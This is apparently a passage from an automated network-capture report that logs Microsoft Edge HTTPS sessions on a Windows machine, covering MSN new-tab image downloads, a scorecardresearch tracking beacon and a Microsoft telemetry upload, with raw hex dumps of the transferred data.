2024-11-08 14:21:14 UTC	634	OUT	GET /tenant/amp/entityid/AA1t99ka.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-08 14:21:14 UTC	518	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1t99ka Last-Modified: Fri, 01 Nov 2024 18:01:15 GMT X-Source-Length: 20811 X-Datacenter: eastus X-ActivityId: f7ec68f9-61c4-4117-9b16-c229b5f431dd Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 20811 Cache-Control: public, max-age=229325 Expires: Mon, 11 Nov 2024 06:03:19 GMT Date: Fri, 08 Nov 2024 14:21:14 GMT Connection: close
2024-11-08 14:21:14 UTC	15866	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 90 00 00 01 90 08 02 00 00 00 0f dd a1 9b 00 00 0c 3e 69 43 43 50 49 43 43 20 50 72 6f 66 69 6c 65 00 00 48 89 95 57 07 58 53 c9 16 9e 5b 92 90 90 10 20 80 80 94 d0 9b 20 22 25 80 94 10 5a 00 e9 45 b0 11 92 00 a1 c4 18 08 2a 76 74 51 c1 b5 8b 08 d8 d0 55 11 c5 0e 88 1d b1 b3 28 f6 be 58 50 50 d6 c5 82 5d 79 93 02 ba ee 2b df 9b 7c 33 f3 e7 9f 33 ff 39 73 ee dc 32 00 d0 4f f0 24 92 1c 54 13 80 5c 71 be 34 36 24 80 39 26 39 85 49 ea 02 28 a0 c2 df 50 40 e7 f1 f3 24 ec e8 e8 08 00 cb 40 ff f7 f2 ee 06 40 e4 fd 55 47 b9 d6 3f c7 ff 6b d1 12 08 f3 f8 00 20 d1 10 a7 09 f2 f8 b9 10 1f 00 00 af e2 4b a4 f9 00 10 e5 bc c5 94 7c 89 1c c3 0a 74 a4 30 40 88 17 ca 71 86 12 57 c9 71 9a 12 ef 51 d8 c4 c7 72 20 6e Data Ascii: PNGIHDR>iCCPICC ProfileHWXS[ "%ZE*vtQU(XPP]y+\|339s2O$T\q46$9&9I(P@$@@UG?k K\|t0@qWqQr n
2024-11-08 14:21:14 UTC	4945	IN	Data Raw: 3d f7 52 13 58 62 fb e9 21 5b 75 03 17 1c 54 6d 19 c9 a8 68 28 42 9d 72 18 59 2e 37 2a 0c 62 39 95 49 f4 d3 4f 3f dd 5c 95 c7 7f 5e 26 47 55 66 a3 ea 36 56 f1 51 09 75 c5 13 0a 63 96 51 3e 61 c6 4e 30 31 02 fb 25 ac ba ef f1 51 a3 42 71 d6 c4 60 4d d0 b4 22 a3 45 5b 46 7d 48 2d fb 24 ab b3 11 2c 12 46 4c d6 28 60 28 2f fd 89 ad 4e 3b ed b4 70 0a 37 30 5d 55 33 e8 8b ab f4 61 23 b0 4f 04 f6 4b 58 2e 2f c8 4a 25 4c 43 94 67 ef b3 5a 9d fd c0 11 18 09 68 2c 3c 41 d3 0e 86 ab 53 52 ba 3f f9 a6 85 af a7 7b ea 87 ad bc 55 63 45 55 e2 a9 dc ba b0 55 85 57 e3 55 5a 6e 04 0e 04 81 03 20 ac 72 d0 12 0e a4 66 5d c8 c1 22 50 bc b3 28 36 fa d0 96 53 95 ac 04 4a 67 05 4d 1e e7 99 a2 fa ae ef fa 2e 2f d3 58 05 2a c8 0a 49 b9 63 89 ac 13 61 49 46 40 5b 8b 77 92 17 17 ed Data Ascii: =RXb![uTmh(BrY.7b9IO?\^&GUf6VQucQ>aN01%QBq`M"E[F}H-$,FL(`(/N;p70]U3a#OKX./J%LCgZh,<ASR?{UcEUUWUZn rf]"P(6SJgM./XIcaIF@[w

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.8	49812	108.156.211.71	443	7292	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-08 14:21:14 UTC	925	OUT	GET /b?rn=1731075672840&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=2DD296EDD8FB644F13F183DCD98E6569&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-08 14:21:14 UTC	955	IN	HTTP/1.1 302 Found Content-Length: 0 Connection: close Date: Fri, 08 Nov 2024 14:21:14 GMT Location: /b2?rn=1731075672840&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=2DD296EDD8FB644F13F183DCD98E6569&cs_fpit=o&cs_fpdm=null&cs_fpdt=null set-cookie: UID=1CDb969274606314f413a0f1731075674; SameSite=None; Secure; domain=.scorecardresearch.com; path=/; max-age=33696000 set-cookie: XID=1CDb969274606314f413a0f1731075674; SameSite=None; Secure; Partitioned; domain=.scorecardresearch.com; path=/; max-age=33696000 Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 cfdcdd1b2ce759e37ac4aa58359c9c64.cloudfront.net (CloudFront) X-Amz-Cf-Pop: DFW56-P3 X-Amz-Cf-Id: Do2T96ykCkPdqORInoDPp6d0KPLJgkdrghlOIsFNdksthu-4H6blqA==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.8	49804	52.178.17.3	443	7292	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-08 14:21:14 UTC	1082	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731075672838&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 3980 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=2DD296EDD8FB644F13F183DCD98E6569; _EDGE_S=F=1&SID=2C15D19DB0CA691E3B6DC4ACB17B6826; _EDGE_V=1
2024-11-08 14:21:14 UTC	3980	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 50 61 67 65 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 30 38 54 31 34 3a 32 31 3a 31 32 2e 38 33 31 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 31 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 61 34 30 61 63 34 62 31 2d 65 36 66 31 2d 34 30 38 65 2d 38 38 33 33 2d 36 62 37 63 62 66 33 35 36 39 65 63 22 2c 22 65 70 6f 63 68 22 3a 22 33 37 30 37 34 38 31 36 30 36 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.PageView","time":"2024-11-08T14:21:12.831Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":1,"installId":"a40ac4b1-e6f1-408e-8833-6b7cbf3569ec","epoch":"3707481606"},"app":{"locale
2024-11-08 14:21:15 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=b06b22eb02e14157b6fec81bdb701f4e&HASH=b06b&LV=202411&V=4&LU=1731075674813; Domain=.microsoft.com; Expires=Sat, 08 Nov 2025 14:21:14 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=5b3bc29149e7434dbe76ccce207ad809; Domain=.microsoft.com; Expires=Fri, 08 Nov 2024 14:51:14 GMT; Path=/;Secure; SameSite=None time-delta-millis: 1975 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Fri, 08 Nov 2024 14:21:13 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.8	49814	23.38.189.114	443	7292	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-08 14:21:15 UTC	634	OUT	GET /tenant/amp/entityid/AA11MSkH.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-08 14:21:15 UTC	521	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA11MSkH Last-Modified: Mon, 28 Oct 2024 20:47:24 GMT X-Source-Length: 293132 X-Datacenter: eastus X-ActivityId: 528b3f08-2792-4c00-b330-b79b3a540242 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 293132 Cache-Control: public, max-age=282381 Expires: Mon, 11 Nov 2024 20:47:36 GMT Date: Fri, 08 Nov 2024 14:21:15 GMT Connection: close
2024-11-08 14:21:15 UTC	15863	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-08 14:21:15 UTC	16384	IN	Data Raw: fc ab 26 f3 f4 a4 69 4b 80 a9 51 5a 4f 81 92 a4 15 1c 64 7d ab 6e 64 d8 52 68 23 71 f5 15 95 c1 a5 6c d6 0d c7 19 0c cb 00 29 58 04 82 35 33 6f bf c6 a4 c9 53 0d 28 d5 e7 36 f7 b3 66 24 b0 65 a0 d5 79 4e ca ac 0f f1 d4 47 cb 27 f5 fd 6a 7a 64 0a 7e 6f 0a c2 9a a7 6d e7 ad 1a 5c 2f a1 9e af 90 8e 0d 8d b6 e8 ac fb cb a0 b9 ac ea 87 5d ba fd ce bd 01 0f a7 ae 06 37 22 e1 10 a4 30 d4 93 f3 4f 21 48 80 38 fc 28 75 72 76 ef a5 6d ea 1e 9b ba 19 bc 25 c0 8f 07 8c e5 84 72 a6 d5 c0 fe 2b 1f da 40 8f 88 a5 51 48 1e 97 fd 46 12 c0 e2 2c 18 15 d4 1a 6d 1f 12 4f 44 b6 d8 01 a4 89 e7 02 3e 14 d2 aa 76 09 c6 6e be a4 b3 9e b4 3d d0 d1 69 6d 6c 6f 23 67 65 55 2a a2 57 7d ec 40 06 c6 fa 4f 08 d6 a3 c9 26 ff 00 5a 04 54 35 39 5b 79 d3 d7 fc fe 46 e6 ab a0 ea d8 23 a1 c3 Data Ascii: &iKQZOd}ndRh#ql)X53oS(6f$eyNG'jzd~om\/]7"0O!H8(urvm%r+@QHF,mOD>vn=imlo#geU*W}@O&ZT59[yF#
2024-11-08 14:21:15 UTC	2325	IN	Data Raw: 42 72 ea 3e ae cb 15 1b 59 a2 21 51 37 96 31 36 31 f1 fe 95 49 94 2a a9 53 25 38 95 b3 73 02 f7 8f 8d 73 b6 95 52 ea 44 d3 b8 f5 06 f3 b8 f4 b3 e4 41 7b 7c b7 b4 de 20 5f f4 b9 f2 a6 f1 e6 ca ac a5 48 95 ea 55 e0 a3 fd dc c4 f0 34 06 d2 79 c6 37 1f b9 08 ce 32 53 dd 57 90 7e 07 e3 90 59 71 36 d4 05 76 c0 81 a8 13 73 79 13 27 5f 4a 79 99 0e 41 93 31 f7 42 11 20 23 00 b7 9d b0 63 a4 dc 6b 42 8a 8c a4 e9 e7 cf f4 11 5a 8d 46 2a 2f cb 56 fc b6 af 20 f4 fe 3a 04 4c 98 71 e3 21 0a 64 b8 b3 02 a7 a7 9f a8 a6 bb ef 64 c3 63 d8 24 4c 20 8d 49 b7 97 9d 69 d1 e4 5f f5 f5 e6 db c7 52 68 e3 23 a6 0b b4 c0 3b 8c 8c 90 5b e6 8d b0 09 81 3a 9d 05 a8 28 71 a0 05 99 8d e0 85 24 12 0e b7 fa 89 f8 53 d6 99 2a e4 77 37 a9 f0 48 c5 6a 26 a4 9e 7e 45 69 84 88 96 53 d4 66 d3 1e Data Ascii: Br>Y!Q7161IS%8ssRDA{\| _HU4y72SW~Yq6vsy'_JyA1B #ckBZF/V :Lq!ddc$L Ii_Rh#;[:(q$S*w7Hj&~EiSf
2024-11-08 14:21:15 UTC	16384	IN	Data Raw: f5 70 83 23 89 b1 bd 4f ee 77 b6 41 db bb 97 52 61 a0 41 9d 63 97 a4 7e b4 1e 58 eb 8b a2 a7 82 71 82 5e 05 68 0e a7 6e 46 76 00 dc 02 4d f5 1c 08 b4 53 5d b3 10 d9 31 62 3b 91 34 7f 95 c1 1c 35 21 88 1c 44 69 44 97 e4 2b d9 bf e8 77 2c a3 be e6 4c f8 f7 3e 22 84 a3 29 50 26 e0 6a a4 9f eb 4c b3 3a c3 cf b8 a4 30 26 c4 18 d0 89 d4 6b 48 92 4f 9d ce 5d 38 2e 45 67 39 db ad d2 47 49 02 48 f8 19 a6 56 06 52 09 80 ac 61 74 b1 1b b8 1e 24 fa 51 9e e2 ec 2b 3b 20 bb b9 8c 56 81 be 24 c5 86 86 fe 35 4f b9 0b b2 4f 23 62 7c 3e f1 4d 11 22 71 c4 95 54 65 75 de 72 0b 41 8e a5 dc 3c 62 60 fa 57 bd b2 ae d7 1b 60 ed b4 9f a5 fc 68 a4 60 db a1 99 2b b8 60 32 1d 84 15 1b 63 c6 39 f0 99 e3 44 7c 4c c8 84 0d 37 6e 1c 24 1a a7 11 64 bc 33 eb 04 9f f7 5e 2b e5 d2 6c 7a 87 Data Ascii: p#OwARaAc~Xq^hnFvMS]1b;45!DiD+w,L>")P&jL:0&kHO]8.Eg9GIHVRat$Q+; V$5OO#b\|>M"qTeurA<b`W`h`+`2c9D\|L7n$d3^+lz
2024-11-08 14:21:15 UTC	16384	IN	Data Raw: c6 dc e8 d0 e4 58 ac f3 83 a1 ca cf b1 d1 8a 6d 21 fe e6 19 77 5f 94 1f 5d 6b 19 11 54 18 d2 07 1f a5 6c 07 18 d1 a9 93 4a 44 65 10 cc 42 92 01 03 49 b9 d3 9d 60 b1 56 30 62 87 dd bc 51 7b 8a ea ef d8 cf 3d 86 91 b5 01 46 ed db 49 3f 6f 10 60 50 36 31 2d 69 22 f7 92 7e f1 40 d4 ee b9 5b 91 b5 4b 26 7b f7 f0 56 38 73 29 27 71 7f 52 4c 7f 4a 11 c6 c0 c9 f2 1a 58 e9 5c be ad 97 e6 27 0b 81 16 7f 82 cb 1b 0c 6e 05 6f e5 11 7f 3f ca 95 d9 b1 77 0b 5f 4d 47 c0 7e b6 a1 b8 e5 d9 a1 4b 67 93 ab 92 ab 7c e4 61 61 55 98 89 20 e8 67 4a f3 b7 0a db c3 74 90 35 b4 7c 6a c5 e0 46 aa 9a cf ea 32 fa 97 22 e9 ac a3 c7 ce 5a 36 af af 0f f5 a2 fb 9b 74 44 32 23 79 04 7d 01 8a 69 fd 58 e8 01 aa c5 bf 41 2a 9f 23 71 81 36 c9 b7 42 75 d6 37 44 f0 e1 4c e5 54 22 d3 f2 8d 7d 2e Data Ascii: Xm!w_]kTlJDeBI`V0bQ{=FI?o`P61-i"~@[K&{V8s)'qRLJX\'no?w_MG~Kg\|aaU gJt5\|jF2"Z6tD2#y}iXA*#q6Bu7DLT"}.
2024-11-08 14:21:15 UTC	7952	IN	Data Raw: 1a be 53 33 ac 78 28 66 cb ef 38 44 0b 22 43 38 86 58 1f db 6e a3 16 be a6 97 4c a0 b4 13 ec 82 02 9d ab 68 1e 15 9a 31 6b ea 93 74 eb 4c 78 77 e7 dc d0 d5 66 93 7b 1b 39 6b f4 00 bb 99 c8 4e f8 28 44 3b f2 64 72 22 5c db 6f 0d a0 68 3c 2d 1c ab 19 65 f3 e2 0b d6 16 22 d1 31 7f 31 e2 69 3b 2d b9 3c 25 15 b2 e6 fc 8c a4 a3 09 49 fd 3f 95 9a af 53 cb 26 ac 59 40 e2 ed 9d 71 e2 76 23 6a 6b d2 00 31 a0 e3 7f a9 e3 51 33 b6 47 72 5f 59 d3 82 f8 01 c2 ae b7 76 ad fb 05 8c d4 95 dd a0 ff 00 4c 9f 3b 6f c1 89 cd c9 db 19 ee 7b 5f f1 d5 08 70 db 80 24 7f 6c f0 27 43 6b da a5 99 9a e8 cb 50 44 6a 94 34 a5 93 36 ab 3a 4c 5d d8 4e dc a9 c8 ac 49 58 94 dd 0a 0b 12 a6 63 53 7e 33 c6 95 1b 19 31 63 29 a8 d5 57 a9 8f 85 c4 f2 9f 85 64 94 5b ba 8b f8 d7 ba 7e 84 b9 dc 9f Data Ascii: S3x(f8D"C8XnLh1ktLxwf{9kN(D;dr"\oh<-e"11i;-<%I?S&Y@qv#jk1Q3Gr_YvL;o{_p$l'CkPDj46:L]NIXcS~31c)Wd[~
2024-11-08 14:21:15 UTC	16384	IN	Data Raw: fa 81 a4 74 fe ee 0f 71 53 03 14 c6 d8 c8 3b 6c db 94 92 09 26 0e e6 d3 85 73 61 bb 74 ca a0 ae 46 00 c3 03 1f 48 37 af 3d a9 7e e9 2b 69 e2 f3 87 fc 1b f4 f7 1c 5e 62 9e cd 5f e6 6a 96 86 fe 9e 2b e6 65 28 e4 ee 16 54 14 38 c4 db a6 6d ad da 49 3c 09 3a d3 e3 32 12 83 68 18 d5 80 db 00 5d bc 22 4f 8d c7 ad 01 76 f0 dd ea f1 66 58 c2 59 6d dc 9a e6 f6 41 70 25 9c de 56 5c a0 86 31 37 90 4b 02 c3 43 16 23 ef 6a ad de 0e db 1a b2 a2 db 76 ad c4 af 01 03 8e 82 2d 1c 6b d2 8d c5 a6 b6 db 8c 74 01 da d5 27 97 b1 dc f2 36 0e 53 26 25 58 50 d2 c3 52 34 f2 35 e0 82 dc bd 2b d3 8c 9b ce c7 56 04 14 68 e3 6c ea 85 14 48 07 79 d0 4c da 4e 92 78 56 71 fc ff 00 86 e4 7f da 07 96 b1 42 d4 bb 6d db e7 8d ce 92 c7 d4 97 b0 c2 65 0e 76 e8 72 2b 60 db 2d 3b 92 f1 04 6a 3c Data Ascii: tqS;l&satFH7=~+i^b_j+e(T8mI<:2h]"OvfXYmAp%V\17KC#jv-kt'6S&%XPR45+VhlHyLNxVqBmevr+`-;j<
2024-11-08 14:21:15 UTC	16384	IN	Data Raw: 12 d2 0f 23 5c df ed 9d c6 7c fd ca 7b b2 57 db ca 36 b3 8b 10 aa 0b 40 bd c5 ae 3d 28 55 49 96 5c 7c 0d 5b 82 86 19 cf 77 b9 72 9c 86 41 50 49 7d a0 9d 92 78 c5 cc 11 57 bf 75 ed b2 6f 5b 08 2d b7 a6 22 5a 36 a4 fa 68 79 51 05 89 1b b1 e4 b7 39 52 08 20 34 6e 59 0d 7b 19 e1 cb 4a eb fb 0f db bb 83 bb dc 8c 71 b8 aa 95 5e a0 d6 2c a5 81 98 8e 1f 6d 50 6d 99 f8 08 95 9c 94 39 da 2f 17 23 5e 93 cf 95 77 3d c6 10 72 1c 49 8d d1 31 0b 2a 86 66 76 37 be d8 13 bb 6c dd 87 95 16 c4 be b5 90 61 1c 3e af 00 7b 54 c3 db f6 ed d4 ab 99 f6 06 07 6b 6d 59 1d 44 1f 94 cd c0 e7 45 c3 80 f7 29 8f 17 b6 a5 f7 b3 3a 91 04 ec 6d 64 f2 22 fb a2 66 2a f2 fc 64 66 eb f2 1a b0 3b e0 7b ba 67 6e c3 3c a9 ba 00 05 88 86 33 32 46 f9 02 e2 6c 2b df dc 91 97 b4 18 82 e5 f7 72 1d 4c Data Ascii: #\\|{W6@=(UI\\|[wrAPI}xWuo[-"Z6hyQ9R 4nY{Jq^,mPm9/#^w=rI1fv7la>{TkmYDE):md"fdf;{gn<32Fl+rL
2024-11-08 14:21:15 UTC	7952	IN	Data Raw: 04 dc 37 ed 5d c0 72 00 c1 e5 6f 5a a3 dd f7 45 59 15 a3 64 58 6c 20 c1 5f 18 3e 9c 22 89 49 2f 50 4d 39 2a 5e 0b 24 96 cc 79 4b 6e a4 1c 39 b7 e5 41 71 d5 c7 85 53 ec dd 5b 3e 31 ed a0 05 84 9e 22 7e 83 c8 5e b5 28 d3 40 63 16 9a b6 c0 c2 57 24 3c 2e f8 28 13 6c 81 81 82 7a 0a e9 3e d9 04 fe 93 46 74 5c 23 6e e3 3d 65 64 48 80 00 83 e2 60 d6 f6 0e ec 3e ec 6a 39 fc ea 5d a4 c3 fe 1c 82 4e dd a2 62 6d ac 70 af 90 9c 59 37 00 4c 6e 8f 8e a0 c4 7c 68 13 95 56 6b ea ae 2e ff 00 82 77 a3 ae 35 75 93 37 77 61 a4 8d a6 5c 63 18 1d 0a ca a4 49 e2 dc 8a 91 a7 32 66 92 28 32 f5 1d a8 41 e0 0b 03 27 59 13 79 b7 8d 65 9a 7a 9f ee 6b 1f 85 e4 7b 7d bc 2b 9f ab 4a be 3b 19 65 2b f8 15 af 89 4f f6 fd a7 b8 41 63 79 dc 27 58 e1 e7 5b c4 53 b7 71 b4 b3 1d ca 49 d1 67 5d Data Ascii: 7]roZEYdXl _>"I/PM9*^$yKn9AqS[>1"~^(@cW$<.(lz>Ft\#n=edH`>j9]NbmpY7Ln\|hVk.w5u7wa\cI2f(2A'Yyezk{}+J;e+OAcy'X[SqIg]
2024-11-08 14:21:15 UTC	16384	IN	Data Raw: 38 02 68 6e 66 69 55 2c 25 6d 07 e3 84 2a a8 e1 2b 63 f1 b0 d6 39 60 40 62 aa 38 0b 5f 99 d2 a4 e4 cb 00 01 c4 f1 fc a8 2d 75 ab 2e 96 de 7e 45 b9 71 7f 00 5f 55 e5 fc 0a 98 9f 1a 23 17 81 92 66 4b 78 f8 19 a9 59 ac a1 45 a4 dc c0 d2 a5 05 e0 22 42 f1 82 b2 77 09 ee 0e ad df c5 76 83 f5 27 87 de 6a 2e 37 0a e0 c9 b9 82 4f af 0e 54 94 46 db 0a b0 67 b6 f6 28 be 4d 8c 58 00 7a b4 3a 79 d0 cb 24 90 d3 af 3f d6 a7 38 07 25 2b c5 07 ba 03 2d 43 50 fd c9 04 ce 42 20 6e 98 0b e0 a3 4f 85 64 f7 2b 8b a5 45 b4 03 49 1e 97 8a ea e9 84 05 76 e5 6e dd fe 43 b7 a8 02 83 ea 7b 95 15 09 12 58 6e 31 04 c1 e5 e9 e3 14 12 37 c3 78 90 42 e8 a4 5e 27 d2 92 53 b7 4a 9f 56 c2 68 c8 9d c9 53 d2 96 7a 8c e0 db bb c0 56 67 62 49 3d 13 d4 04 0b 2d b8 f8 c1 8a 59 b2 38 2c ac 05 ae Data Ascii: 8hnfiU,%m*+c9`@b8_-u.~Eq_U#fKxYE"Bwv'j.7OTFg(MXz:y$?8%+-CPB nOd+EIvnC{Xn17xB^'SJVhSzVgbI=-Y8,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.8	49816	23.38.189.114	443	7292	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-08 14:21:15 UTC	634	OUT	GET /tenant/amp/entityid/AA12sf7A.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-08 14:21:15 UTC	521	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Tue, 29 Oct 2024 13:09:36 GMT X-Datacenter: eastap X-ActivityId: 71bf84f9-d0c2-4597-9893-d34df3f39f2d Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA12sf7A X-Source-Length: 114962 Content-Length: 114962 Cache-Control: public, max-age=341214 Expires: Tue, 12 Nov 2024 13:08:09 GMT Date: Fri, 08 Nov 2024 14:21:15 GMT Connection: close
